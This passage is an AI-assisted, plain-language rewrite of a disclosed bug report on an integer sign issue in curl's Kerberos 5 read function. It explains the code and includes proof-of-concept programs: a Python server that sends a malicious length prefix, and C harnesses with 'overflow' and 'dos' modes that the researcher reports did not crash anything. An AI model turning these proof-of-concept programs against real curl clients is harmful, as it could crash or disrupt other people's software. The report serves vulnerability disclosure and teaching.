  4. Look for other call sites where a length from the network is cast to a signed type before a maximum check, and where the result is later cast to size_t for a read or copy. A positive result is a negative value reaching a buffer operation.
  5. Check the decode() call site for a length argument that is zero after the read loop. A positive result is a decode callback receiving zero when the buffer actually holds data.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

curl is a very common program for downloading things from the internet, and it is also a library that other programs use to talk to servers. One of the ways curl can talk to a server is called Kerberos 5, a system for proving who you are on a network. When curl uses Kerberos, it reads data from the other side in a particular format: first a small four-byte number that says how long the rest of the message is, then the message itself.

The researcher found that the code which reads that four-byte length can be tricked. If the number has its top bit set, the code turns it into a negative number, and a safety check that is supposed to reject oversized messages lets it through. That negative number is then used as if it were a huge positive size when asking the operating system to read data into a small 1024-byte buffer. In theory that mismatch could make curl read far more data than the buffer can hold, which is called an out-of-bounds read. The researcher also noticed a second, separate oddity: a function called decode() is given a length of zero even though the buffer actually contains data.

The researcher could not get the second PoC to actually crash anything on their own machine, because the operating system refused the huge read request. So the honest answer to "is this exploitable?" is "I don't know". The report was filed anyway, because what is harmless on one system may not be on another. The platform records the severity as low.

Background: what curl and Kerberos are

curl is a tool and a library for moving data over network protocols. You have probably used it from a terminal to fetch a web page, but it is also built into many applications. When curl is compiled with support for a security mechanism called GSSAPI, it can authenticate a connection using Kerberos 5.

Kerberos is a way for computers to prove their identity to each other without sending passwords around. Think of it like a cloakroom ticket: a trusted desk gives you a ticket, and other services trust the desk, so they accept the ticket. The messages exchanged during this dance are binary, not text, and they are framed: each message starts with a four-byte number giving the length of what follows.

The code that reads these framed messages lives in a file called lib/krb5.c, in a function called krb5_read_data(). The report points at a specific revision of that file, [redacted], and at three regions in it: the length handling around lines 539 to 541, the read loop around lines 549 to 551, and the decode call around lines 558 to 562.

What the function does, step by step:

  1. Read four bytes from the network connection. These four bytes are the length prefix.
  2. Convert those four bytes from network byte order into the computer's own number format.
  3. Check the number against a maximum allowed size, CURL_MAX_INPUT_LENGTH.
  4. Read that many bytes into a growing buffer, in chunks of at most 1024 bytes at a time.
  5. Hand the finished buffer to a decode() callback belonging to the security mechanism.

Two concepts you need first

Integer overflow. Computers store numbers in fixed-size boxes. A signed integer can hold both positive and negative values, and it uses one bit (the top bit) to record the sign. If you take a pattern of bits that was meant to be a large positive number and interpret it as signed, the top bit being set makes it negative. The number has not changed its bits; only the meaning has. This is the heart of the first issue.

Out-of-bounds read. A buffer is a fixed-size area of memory. If code tells the operating system "read up to N bytes into this buffer" and N is larger than the buffer, the operating system may write past the end of the buffer into neighbouring memory. Reading or writing outside the intended area is called out-of-bounds access. It can crash the program, leak data, or, in the worst case, let an attacker influence what the program does next.

Setup: why no real Kerberos server

The report says that setting up a whole Kerberos environment is extremely difficult and annoying, so the demonstration emulates the same control flow in two small programs. The report says plainly that doing so is extremely difficult and annoying. Instead, the demonstration emulates the same control flow in two small programs:

  • a Python server that sends a chosen four-byte length followed by a payload;
  • a C harness that mirrors the vulnerable code.

The harness is compiled with:

Bash
gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c

gcc is the C compiler. -O2 asks for a reasonable level of optimisation, -Wall turns on common warnings, -o krb5_len_bug_harness names the output program, and the last argument is the source file. The program is then run as ./krb5_len_bug_harness [redacted] 9999, which means "connect to this machine on port 9999".

The report notes that the PoC was created by AI, not the report itself. That is a disclosure about how the demonstration code came about, not a claim about the bug.

Finding it: the two issues

The researcher reports two issues in krb5_read_data().

Issue #1: the length check can be bypassed

The length is converted and checked like this:

C
    len = (int)ntohl((uint32_t)len);
    if(len > CURL_MAX_INPUT_LENGTH)
      return CURLE_TOO_LARGE;

Line by line:

  • ntohl(...) takes a four-byte number that arrived over the network and converts it from network byte order (big-endian, most significant byte first) into the local machine's byte order. The result is an unsigned 32-bit value.
  • (uint32_t)len makes sure the value is treated as unsigned before conversion.
  • (int) then reinterprets that unsigned value as a signed integer. If the top bit is set, the result is negative.
  • if(len > CURL_MAX_INPUT_LENGTH) compares the signed value against a positive maximum. A negative number is never greater than a positive maximum, so the check passes.
  • return CURLE_TOO_LARGE; is the error path that should have fired but does not.

Because len is a signed int, a length whose top bit is set becomes negative after the cast. A negative value is not greater than CURL_MAX_INPUT_LENGTH, so the oversized length is accepted. The researcher notes surprise that this had not been caught before.

That negative value then flows into the read loop:

C
    char buffer[1024];
    nread = CURLMIN(len, (int)sizeof(buffer));
    result = socket_read(data, sockindex, buffer, (size_t)nread);

Line by line:

  • char buffer[1024]; declares a fixed 1024-byte buffer on the stack. The stack is the area of memory a function uses for its local variables.
  • CURLMIN(len, (int)sizeof(buffer)) picks the smaller of len and 1024. If len is negative, the smaller value is the negative one.
  • (size_t)nread converts that negative value into an unsigned size type. In C, converting a negative signed number to an unsigned type wraps it around to a very large positive number.
  • socket_read(...) is then asked to read that enormous number of bytes into the 1024-byte buffer.

With a negative len, CURLMIN yields that negative value, and the cast to size_t turns it into a very large number. The report gives the example of -1: nread is passed as (size_t)-1, which wraps to a massive value. That value travels down to Curl_conn_recv with the 1024-byte stack buffer and nread == ~SIZE_MAX. Since the buffer is only 1024 bytes long while nread is enormous, the researcher expects an out-of-bounds read.

Issue #2: the decode call gets zero

The surrounding logic looks broken independently of the overflow. The do-while loop continues while len is non-zero, but by the time decode() is called, len has been decremented to zero:

A do-while loop runs its body at least once and then repeats while a condition holds. Here the condition is that len is non-zero. Each pass subtracts the number of bytes read from len, so when the loop exits, len is zero. Passing len to decode() therefore passes zero, even though the buffer holds data. The researcher guesses that curlx_dyn_len(&buf->buf) should be passed instead, but presents this as a guess rather than a confirmed defect.

On affected versions, the report says: all of them since inception, it seems.

Exploitation

Step 1: a server that sends an attacker-chosen length

The first PoC is a Python server that accepts a connection, sends a four-byte big-endian length, and then sends a payload of that length:

Python
#!/usr/bin/env python3
import socket, struct, argparse, sys, time

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=9999)
    ap.add_argument("--netlen", type=lambda x:int(x,0), default=0x00000010,
                    help="4-byte big-endian length to send (e.g. 0x10 or 16)")
    ap.add_argument("--payload-byte", default="41", help="hex byte to repeat (default '41' = 'A')")
    args = ap.parse_args()

    payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff)
    netlen = struct.pack("!I", args.netlen & 0xffffffff)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("[redacted]", args.port))
    s.listen(1)
    print(f"listening on :{args.port} …")
    while True:
        conn, addr = s.accept()
        print("client:", addr, " sending frame len=", hex(args.netlen))
        try:
            conn.sendall(netlen)
            if args.netlen:
                conn.sendall(payload)
            time.sleep(0.2)
        finally:
            conn.close()

if __name__ == "__main__":
    main()

Line by line:

  • import socket, struct, argparse, sys, time loads Python modules: socket for network connections, struct for packing numbers into bytes, argparse for command-line options, sys and time for small utilities.
  • ap = argparse.ArgumentParser() sets up a command-line parser.
  • --port is the TCP port to listen on, default 9999.
  • --netlen is the four-byte length to send. type=lambda x:int(x,0) lets you write it in decimal or hex, such as 0x80000010.
  • --payload-byte is the byte to repeat, in hex. The default 41 is the ASCII letter A.
  • payload = bytes([int(args.payload_byte, 16)]) * (args.netlen & 0xffffffff) builds a payload of that many copies of the chosen byte. The & 0xffffffff keeps the value within 32 bits.
  • netlen = struct.pack("!I", args.netlen & 0xffffffff) packs the length into four bytes, big-endian (! means network byte order, I means unsigned 32-bit integer).
  • s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) creates a TCP socket for IPv4.
  • s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) lets the port be reused quickly after a restart.
  • s.bind(("[redacted]", args.port)) listens on all local addresses on the chosen port.
  • s.listen(1) accepts one pending connection at a time.
  • The while True loop accepts a client, sends the four-byte length, then the payload, waits a moment, and closes.

The --netlen argument is the value placed in the four-byte length field. Passing 0x80000010 sets the sign bit, which is what makes the cast in the client produce a negative number.

Step 2: a harness that mirrors the vulnerable code

The C harness reproduces the same control flow, including the signed int and the cast to size_t:

C
// gcc -O2 -Wall -o krb5_len_bug_harness krb5_len_bug_harness.c
// ./krb5_len_bug_harness [redacted] 9999
#define _POSIX_C_SOURCE 200112L
#include <arpa/inet.h>
#include <errno.h>
#include <inttypes.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

static int connect_tcp(const char *host, const char *port) {
  struct addrinfo hints = {0}, *res = NULL;
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  int rc = getaddrinfo(host, port, &hints, &res);
  if (rc) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rc)); exit(1); }
  int fd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
  if (fd < 0) { perror("socket"); exit(1); }
  if (connect(fd, res->ai_addr, res->ai_addrlen) < 0) { perror("connect"); exit(1); }
  freeaddrinfo(res);
  return fd;
}

static int socket_read_full(int fd, void *buf, size_t want) {
  uint8_t *p = buf; size_t got = 0;
  while (got < want) {
    ssize_t r = read(fd, p + got, want - got);
    if (r < 0) { if (errno == EINTR) continue; perror("read"); return -1; }
    if (r == 0) { fprintf(stderr, "eof\n"); return -1; }
    got += (size_t)r;
  }
  return 0;
}

// Stand-in for conn->mech->decode(...)
// We'll just report the length parameter we *received* and pretend to "decode" in place.
static int fake_decode(void *app_data, unsigned char *buf, int len, int data_prot, void *conn) {
  (void)app_data; (void)buf; (void)data_prot; (void)conn;
  fprintf(stderr, "fake_decode() was called with len=%d (should be >0 if correct)\n", len);
  // Return a positive length to mimic successful decode of existing buffer.
  return 1234;
}

int main(int argc, char **argv) {
  if (argc != 3) {
    fprintf(stderr, "usage: %s HOST PORT\n", argv[0]);
    return 2;
  }
  int fd = connect_tcp(argv[1], argv[2]);

  // --- Begin: mirror the buggy code’s control flow ---

  int len; // NOTE: intentionally 'int' to match the problematic code
  if (socket_read_full(fd, &len, sizeof(len)) != 0) return 1;

  if (len) {
    // network to host, then cast back to int (same as original)
    len = (int)ntohl((uint32_t)len);

    // Size check done against 'int' (problematic if sign bit set)
    const int CURL_MAX_INPUT_LENGTH = 100*1024*1024;
    if (len > CURL_MAX_INPUT_LENGTH) {
      fprintf(stderr, "too large\n");
      return 1;
    }
    // reset dynbuf (omitted; we’ll just malloc)
  } else {
    fprintf(stderr, "recv error (zero header)\n");
    return 1;
  }

  if (len < 0) {
    fprintf(stderr, "NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.\n");
  }

  unsigned char *dyn = NULL;
  size_t cap = 0;
  // Read loop that decrements len to zero
  while (len) {
    int nread = len < 1024 ? len : 1024; // CURLMIN(len, sizeof buffer)
    dyn = realloc(dyn, cap + (size_t)nread);
    if (!dyn) { perror("realloc"); return 1; }
    if (socket_read_full(fd, dyn + cap, (size_t)nread) != 0) return 1;
    cap += (size_t)nread;
    len -= nread;
  }

  // At this point 'len' is 0, but 'cap' is the actual number of bytes we read.
  fprintf(stderr, "after loop: actual_buffer_len=%zu, len_variable=%d\n", cap, len);

  int nread = fake_decode(NULL, dyn, len, /*data_prot*/0, NULL); // <-- passes 0
  if (nread < 0) { fprintf(stderr, "decode error\n"); return 1; }

  fprintf(stderr, "fake_decode returned %d; we would then set dynbuf length to that.\n", nread);
  free(dyn);
  close(fd);
  return 0;
}

Line by line, the important parts:

  • The #include lines pull in standard C headers for networking, error codes, integer types, and input/output.
  • connect_tcp resolves a host and port with getaddrinfo, creates a socket, and connects. It returns the file descriptor (a small number the operating system uses to refer to the connection).
  • socket_read_full keeps calling read until it has received exactly want bytes. It handles EINTR (a signal interrupted the call) by retrying, and treats end-of-file as an error.
  • fake_decode stands in for the real decode() callback. It prints the len it was given and returns 1234 to pretend decoding succeeded.
  • In main, int len; is deliberately signed, to match the problematic code.
  • socket_read_full(fd, &len, sizeof(len)) reads the four-byte length prefix.
  • len = (int)ntohl((uint32_t)len); performs the same conversion and cast as curl.
  • const int CURL_MAX_INPUT_LENGTH = 100*1024*1024; sets a 100 MiB maximum for the demonstration.
  • if (len > CURL_MAX_INPUT_LENGTH) is the same check, and it fails to catch a negative value.
  • The if (len < 0) block prints a note when the value is negative, so the output shows the bypass.
  • The while (len) loop reads in chunks of at most 1024 bytes, growing a heap buffer with realloc, and subtracts each chunk from len.
  • After the loop, fake_decode(NULL, dyn, len, ...) is called with len, which is now zero. This demonstrates the second issue.

The harness reads the four-byte length, applies ntohl and the cast to int, performs the same > CURL_MAX_INPUT_LENGTH check, and then loops with nread = len < 1024 ? len : 1024. It also calls a fake_decode with the final len value, which is zero, to show the second issue.

Step 3: running both together

The two programs are started together:

Bash
python3 repro_server.py --port 9999 --netlen 0x80000010 &
./krb5_len_bug_harness [redacted] 9999

Line by line:

  • python3 repro_server.py --port 9999 --netlen 0x80000010 & starts the Python server in the background (&). It listens on port 9999 and will send a length of 0x80000010, which has the top bit set.
  • ./krb5_len_bug_harness [redacted] 9999 runs the C harness and connects to that server on the local machine.

The output shows the negative length surviving the check and then failing at allocation:

Text
$ ./krb5_len_bug_harness [redacted] 9999
client: ('[redacted]', 43974)  sending frame len= 0x80000010
NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above.
realloc: Cannot allocate memory

Line by line:

  • The first line is the shell prompt and the command that was run.
  • client: ('[redacted]', 43974) sending frame len= 0x80000010 is the server's message: a client connected from the local machine on port 43974, and the server is sending a frame length of 0x80000010.
  • NOTE: len is NEGATIVE here after ntohl cast. This bypasses >MAX check above. is the harness confirming that the value became negative and the size check did not stop it.
  • realloc: Cannot allocate memory is the harness failing when it tries to allocate a buffer for the negative-turned-huge size.

This demonstrates that the length handling is broken: the value is negative after the cast and the size check does not stop it.

Step 4: a second PoC closer to the real code

The researcher then writes a second PoC that mirrors the real functions more closely, including Curl_conn_recv, socket_read, and a krb5_read_data_vuln that preserves the bug. It uses a socket pair and a writer thread with two modes, overflow and dos:

C
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

// --- Minimal curl-like scaffolding ---
typedef enum {
  CURLE_OK = 0,
  CURLE_TOO_LARGE = 1,
  CURLE_RECV_ERROR = 2,
  CURLE_AGAIN = 3,
  CURLE_FAILED_INIT = 4,
  CURLE_BAD_FUNCTION_ARGUMENT = 5
} CURLcode;

#define CURL_MAX_INPUT_LENGTH (16 * 1024 * 1024) // 16 MiB for demo
#define CURLMIN(a,b) ((a) < (b) ? (a) : (b))

struct dynbuf {
  char *ptr;
  size_t len;
  size_t cap;
};

static void dyn_init(struct dynbuf *d) { d->ptr = NULL; d->len = d->cap = 0; }
static void dyn_reset(struct dynbuf *d) { d->len = 0; }
static int dyn_grow(struct dynbuf *d, size_t need) {
  if (d->cap - d->len >= need) return 0;
  size_t newcap = d->cap ? d->cap : 1024;
  while (newcap - d->len < need) {
    newcap *= 2;
  }
  char *np = (char*)realloc(d->ptr, newcap);
  if (!np) return -1;
  d->ptr = np; d->cap = newcap;
  return 0;
}
static CURLcode dyn_addn(struct dynbuf *d, const char *src, size_t n) {
  if (dyn_grow(d, n) != 0) return CURLE_RECV_ERROR;
  memcpy(d->ptr + d->len, src, n);
  d->len += n;
  return CURLE_OK;
}
static char* dyn_ptr(struct dynbuf *d) { return d->ptr; }
static size_t dyn_len(struct dynbuf *d) { return d->len; }
static void dyn_setlen(struct dynbuf *d, size_t n) { if (n <= d->cap) d->len = n; }

struct krb5buffer { struct dynbuf buf; size_t index; };

struct connectdata {
  int fd[2];
};

struct Curl_easy {
  struct connectdata *conn;
};

// --- Vulnerable helpers (mirroring the snippet) ---
static CURLcode Curl_conn_recv(struct Curl_easy *data, int sockindex,
                               char *buf, size_t blen, size_t *pnread) {
  (void)data;
  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel
  if (r < 0) {
    if (errno == EAGAIN || errno == EWOULDBLOCK) return CURLE_AGAIN;
    return CURLE_RECV_ERROR;
  }
  *pnread = (size_t)r;
  return CURLE_OK;
}

static CURLcode socket_read(struct Curl_easy *data, int sockindex, void *to, size_t len) {
  char *to_p = (char*)to;
  CURLcode result;
  size_t nread = 0;
  while (len > 0) {
    result = Curl_conn_recv(data, sockindex, to_p, len, &nread);
    if (result == CURLE_AGAIN) continue;
    if (result) return result;
    if (nread > len) return CURLE_RECV_ERROR;
    len -= nread;
    to_p += nread;
  }
  return CURLE_OK;
}

// --- The vulnerable function as in the snippet (bug preserved) ---
static CURLcode krb5_read_data_vuln(struct Curl_easy *data, int sockindex,
                                    struct krb5buffer *kbuf) {
  int len; // <-- signed
  CURLcode result;
  int nread;

  result = socket_read(data, sockindex, &len, sizeof(len));
  if (result) return result;

  if (len) {
    len = (int)ntohl((uint32_t)len); // potential negative value
    if (len > CURL_MAX_INPUT_LENGTH) // negative bypasses this check
      return CURLE_TOO_LARGE;
    dyn_reset(&kbuf->buf);
  } else {
    return CURLE_RECV_ERROR;
  }
  do {
    char buffer[1024]; // fixed stack buffer
    nread = CURLMIN(len, (int)sizeof(buffer)); // if len<0 -> nread<0
    result = socket_read(data, sockindex, buffer, (size_t)nread); // cast to huge size_t
    if (result) return result;
    result = dyn_addn(&kbuf->buf, buffer, (size_t)nread);
    if (result) return result;
    len -= nread;
  } while (len);

  // pretend-decode, but len is now 0 in this code path
  int dec = (int)dyn_len(&kbuf->buf);
  if (dec < 0) return CURLE_RECV_ERROR;
  dyn_setlen(&kbuf->buf, (size_t)dec);
  kbuf->index = 0;
  return CURLE_OK;
}

// --- Test harness ---
struct writer_args { int fd; int mode; };

static void* writer_thread(void *argp) {
  struct writer_args *a = (struct writer_args*)argp;
  uint32_t netlen;
  if (a->mode == 0) { // overflow: claim 0x80001000, send 4096 bytes
    uint32_t host = 0x80001000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    // send 4096 bytes
    size_t payload = 4096;
    char *buf = (char*)malloc(payload);
    memset(buf, 'A', payload);
    (void)send(a->fd, buf, payload, 0);
    free(buf);
    // keep the socket open briefly to encourage a single large recv
    usleep(100000);
  } else { // dos: claim huge, send very little then close
    uint32_t host = 0x80010000u;
    netlen = htonl(host);
    (void)send(a->fd, &netlen, sizeof(netlen), 0);
    char tiny[8] = {0};
    (void)send(a->fd, tiny, sizeof(tiny), 0);
    // close to simulate peer disappearance
  }
  // Close writer end
  shutdown(a->fd, SHUT_WR);
  close(a->fd);
  return NULL;
}

static void set_blocking(int fd) {
  int fl = fcntl(fd, F_GETFL);
  if (fl >= 0) fcntl(fd, F_SETFL, fl & ~O_NONBLOCK);
}

int main(int argc, char **argv) {
  int mode = 0;
  if (argc > 1) {
    if (strcmp(argv[1], "overflow") == 0) mode = 0;
    else if (strcmp(argv[1], "dos") == 0) mode = 1;
    else {
      fprintf(stderr, "Usage: %s [overflow|dos]\n", argv[0]);
      return 2;
    }
  }

  int sv[2];
  if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) {
    perror("socketpair");
    return 1;
  }
  set_blocking(sv[0]);
  set_blocking(sv[1]);

  pthread_t th;
  struct writer_args wa = {.fd = sv[1], .mode = mode};
  if (pthread_create(&th, NULL, writer_thread, &wa) != 0) {
    perror("pthread_create");
    return 1;
  }

  // client side
  struct connectdata conn = { .fd = { sv[0], -1 } };
  struct Curl_easy easy = { .conn = &conn };
  struct krb5buffer kbuf;
  dyn_init(&kbuf.buf);
  kbuf.index = 0;

  CURLcode rc = krb5_read_data_vuln(&easy, 0, &kbuf);

  printf("krb5_read_data_vuln returned code: %d\n", rc);

  // Clean up
  free(kbuf.buf.ptr);
  close(sv[0]);
  pthread_join(th, NULL);
  return 0;
}

Line by line, the important parts:

  • The typedef enum block defines curl-style result codes: CURLE_OK for success, CURLE_TOO_LARGE for an oversized input, CURLE_RECV_ERROR for a receive failure, CURLE_AGAIN for "try again later", and two others.
  • CURL_MAX_INPUT_LENGTH is set to 16 MiB for the demonstration.
  • CURLMIN(a,b) is a macro that returns the smaller of two values.
  • struct dynbuf is a simple growable buffer with a pointer, a length, and a capacity. The dyn_* functions initialise it, reset it, grow it, append to it, and read or set its length.
  • struct krb5buffer wraps a dynbuf and an index, mirroring curl's own structure.
  • struct connectdata holds two file descriptors, and struct Curl_easy points at a connection.
  • Curl_conn_recv calls recv(fd, buf, blen, 0) and passes blen straight to the operating system. If the call fails with EAGAIN or EWOULDBLOCK (meaning "no data right now"), it returns CURLE_AGAIN; otherwise it returns CURLE_RECV_ERROR.
  • socket_read loops until it has read len bytes, calling Curl_conn_recv each time and advancing the pointer.
  • krb5_read_data_vuln is the vulnerable function. It reads four bytes into a signed int, converts with ntohl, checks against the maximum, resets the buffer, then loops reading at most 1024 bytes at a time into a stack buffer and appending to the dynamic buffer. The cast (size_t)nread is where a negative value becomes huge. After the loop, it calls a pretend decode using the buffer's actual length, then sets the buffer length and resets the index.
  • writer_thread is the attacker side. In overflow mode it sends the length 0x80001000 and 4096 bytes of A. In dos mode it sends 0x80010000, eight zero bytes, and closes.
  • set_blocking clears the non-blocking flag on a file descriptor so reads wait for data.
  • main creates a socket pair (two connected endpoints in the same process), starts the writer thread on one end, and runs the vulnerable function on the other end. It prints the result code and cleans up.

In overflow mode the writer claims 0x80001000 and sends 4096 bytes of A. In dos mode it claims 0x80010000, sends eight zero bytes, and closes.

Step 5: the result, and why it does not crash

Running the second PoC does not cause a problem:

Text
$ ./a overflow
krb5_read_data_vuln returned code: 2

Line by line:

  • $ ./a overflow runs the compiled program in overflow mode.
  • krb5_read_data_vuln returned code: 2 means the function returned CURLE_RECV_ERROR, a receive error, rather than crashing.

The researcher explains why. The call in Curl_conn_recv is:

C
  int fd = data->conn->fd[sockindex];
  ssize_t r = recv(fd, buf, blen, 0); // passes 'blen' straight to kernel

Line by line:

  • int fd = data->conn->fd[sockindex]; picks the file descriptor for the connection.
  • ssize_t r = recv(fd, buf, blen, 0); asks the operating system to receive up to blen bytes into buf. The 0 is a flags argument meaning no special options.

With blen now effectively 18446744071562072064, the following is effectively called:

C
recv(fd, buf, 18446744071562072064, 0);

Line by line:

  • recv is the operating system call that reads data from a socket.
  • fd is the socket.
  • buf is the 1024-byte stack buffer.
  • 18446744071562072064 is the huge length produced by the negative-to-unsigned conversion.
  • 0 means no flags.

This fails because the requested length is beyond even the whole stack, and recv() on the researcher's system refuses it, failing with:

Text
strerror(errno): Bad address

Line by line:

  • strerror(errno) turns the last system error number into a human-readable message.
  • Bad address means the system detected an invalid pointer address in attempting to use a pointer argument of a call.

The researcher states that they have not investigated further whether it is possible to write an amount of memory that satisfies the kernel's limitation, and that they do not know enough about other systems and how they work.

Root cause

The length prefix is stored in a signed int. After ntohl and the cast to int, any value with the top bit set becomes negative, and the guard if(len > CURL_MAX_INPUT_LENGTH) only rejects values that are too large in the positive direction. A negative length passes the check. In the read loop, CURLMIN(len, (int)sizeof(buffer)) then returns that negative value, and the cast to size_t in the call to socket_read turns it into a huge unsigned length. The 1024-byte stack buffer is passed together with that huge length, which is the mismatch the researcher describes as an out-of-bounds read.

The second defect is independent: the loop decrements len until it reaches zero, and then decode() is called with len, which is zero at that point. The researcher guesses that curlx_dyn_len(&buf->buf) should be passed instead, but frames this as a random guess.

On why the existing check did not stop it: the check is a signed comparison against a positive constant, so it cannot catch a wrapped negative value. The report does not describe any other defence in the path.

Impact

The report's impact section describes the outcome as an OOM write due to the integer overflow, or possibly nothing at all due to kernel restrictions on recv(). OOM means "out of memory": the program tries to use more memory than is available. The researcher gives a solid "I don't know" on exploitability, noting that the second PoC fails with Bad address on their system and that they have not investigated whether a length can be chosen that satisfies the kernel's limit. The report also notes that the whole function looks broken because of the len handling.

The report was filed here rather than as a GitHub issue because, while it may be unexploitable to the researcher, it may not be to others.

Fix

The report does not describe a fix or a patch. The two changes it points at are the signed length handling, which lets a negative value through the CURL_MAX_INPUT_LENGTH check, and the decode() call, which receives len after the loop has driven it to zero; the researcher suggests curlx_dyn_len(&buf->buf) there, as a guess.

Variants to test

  1. Send a length with the top bit set, such as 0x80000010, to any code path that reads a four-byte length into a signed int and then compares it against a maximum. A positive result is the length being accepted and the subsequent read or allocation using a huge size.
  2. Try lengths just above the sign boundary, such as 0x80000000 and 0xFFFFFFFF, against the same path. A positive result is the same bypass with a different wrapped value.
  3. Exercise the dos mode of the second PoC, where the peer claims a huge length, sends a few bytes, and closes. A positive result is the client blocking or failing in a way that differs from a clean error.
  4. Look for other call sites where a length from the network is cast to a signed type before a maximum check, and where the result is later cast to size_t for a read or copy. A positive result is a negative value reaching a buffer operation.
  5. Check the decode() call site for a length argument that is zero after the read loop. A positive result is a decode callback receiving zero when the buffer actually holds data.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
  • Big-endian: a way of storing a multi-byte number with the most significant byte first, the usual order on networks.
  • Buffer: a fixed-size area of memory used to hold data temporarily.
  • Callback: a function that is passed to other code so that the other code can call it later.
  • Cast: telling the compiler to treat a value as a different type, which can change its meaning if the bits do not fit.
  • CURL_MAX_INPUT_LENGTH: curl's constant for the largest input it will accept.
  • curl: a command-line tool and library for transferring data over network protocols.
  • decode(): the security mechanism's function that turns raw bytes into a usable message.
  • do-while loop: a loop that runs its body at least once and then repeats while a condition is true.
  • File descriptor: a small number the operating system uses to refer to an open file or connection.
  • GSSAPI: a standard interface for programs to use security mechanisms such as Kerberos.
  • Integer overflow: when a number is too large (or too negative) for its fixed-size storage and wraps around or changes sign.
  • Kerberos 5: a network authentication system that uses tickets instead of sending passwords.
  • Network byte order: the agreed byte order for numbers sent over a network, which is big-endian.
  • ntohl: a C function that converts a 32-bit number from network byte order to the local machine's order.
  • OOM (out of memory): when a program asks for more memory than is available and the allocation fails.
  • Out-of-bounds read: reading memory outside the intended buffer, which can crash the program or leak data.
  • PoC (proof of concept): a small program or set of steps that demonstrates a bug without needing the full real system.
  • recv(): the operating system call that reads data from a socket into a buffer.
  • realloc: a C function that resizes a previously allocated block of memory.
  • Signed integer: a whole number type that can hold both positive and negative values, using one bit for the sign.
  • size_t: an unsigned integer type used for sizes and counts; converting a negative number to it produces a very large value.
  • Socket: an endpoint for network communication, identified by a file descriptor.
  • Socket pair: two connected sockets in the same process, useful for testing without a network.
  • Stack: the area of memory a function uses for its local variables, including fixed-size buffers.
  • strerror: a C function that turns an error number into a readable message.
  • Thread: a sequence of instructions that runs alongside other sequences in the same program.
  • Unsigned integer: a whole number type that can only hold zero and positive values.
  • 0x80000010: a hexadecimal number whose top bit is set, which becomes negative when interpreted as a signed 32-bit integer.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.